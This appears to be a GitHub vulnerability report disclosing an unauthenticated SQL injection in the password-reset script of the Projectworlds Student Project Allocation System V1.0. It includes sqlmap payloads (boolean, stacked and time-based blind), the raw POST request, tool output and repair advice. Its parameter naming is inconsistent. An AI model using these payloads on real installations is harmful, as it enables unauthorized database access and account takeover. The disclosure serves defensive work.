Projectworlds Student Project Allocation System using PHP with Source Code V1.0 /forgot_password_sql.php SQL injection #3

Open

hhhanxx opened 2 weeks ago

Projectworlds Student Project Allocation System using PHP with Source Code V1.0 /forgot_password_sql.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Student Project Allocation System using PHP with Source Code

Vendor Homepage

- https://projectworlds.in/student-project-allocation-system-using-php-with-source-code/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- attackxu

Vulnerable File

- /forgot_password_sql.php

VERSION(S)

- V1.0

Software Link

- https://projectworlds.in/wp-content/uploads/2023/07/Project-Allocation-System.zip

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/forgot_password_sql.php' file of the 'Student Project Allocation System using PHP with Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter ' id' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Student Project Allocation System using PHP with Source Code",I discovered a critical SQL injection vulnerability in the "/forgot_password_sql.php" file. This vulnerability stems from insufficient user input validation of the ' Pat_BloodGroup1' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

- ' id' parameter

Payload:

```
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: user_type=student&id=1122 AND 5202=5202&email=hsk@yg.vom&new_pass=123456789&re_pas

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: user_type=student&id=1122;SELECT SLEEP(5)#&email=hsk@yg.vom&new_pass=123456789&re_

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_type=student&id=1122 AND (SELECT 4535 FROM (SELECT(SLEEP(5)))LZqc)&email=hsk@
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
《sqlmap.py -r C:\Users\韩旭\Desktop\sqli.txt -p id --batch》
```

sqli.txt:

```
POST /Project-Allocation-System/change_pass/forgot_password_sql.php HTTP/1.1
Host: 172.17.150.123:85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: http://172.17.150.123:85
Connection: close
Referer: http://172.17.150.123:85/Project-Allocation-System/change_pass/forgot_password.php?msg
Cookie: PHPSESSID=cfuprf6m9vp40s89urgd46uldp
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user_type=student&id=1122*&email=hsk%40yg.vom&new_pass=123456789&re_pass=123456789
```

```
[22:22:51] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[22:23:26] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[22:23:59] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[22:24:33] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 289 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: user_type=student&id=1122 AND 5202=5202&email=hsk@yg.vom&new_pass=123456789&re_pass=123456789

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: user_type=student&id=1122;SELECT SLEEP(5)#&email=hsk@yg.vom&new_pass=123456789&re_pass=123456789

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_type=student&id=1122 AND (SELECT 4535 FROM (SELECT(SLEEP(5)))LZqc)&email=hsk@yg.vom&new_pass=123456789
&re_pass=123456789
---
[22:24:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 7.3.4
back-end DBMS: MySQL >= 5.0.12
[22:24:46] [INFO] fetched data logged to text files under 'C:\Users\韩旭\AppData\Local\sqlmap\output\172.17.150.123'

[*] ending @ 22:24:46 /2025-04-28/
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

hhhanxx changed the title ~~Projectworlds Student Project Allocation System using PHP with Source Code V1.0 /forgot_password_sql.php SQL injection~~ # Projectworlds Student Project Allocation System using PHP with Source Code V1.0 /forgot_password_sql.php SQL injection
2 weeks ago

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants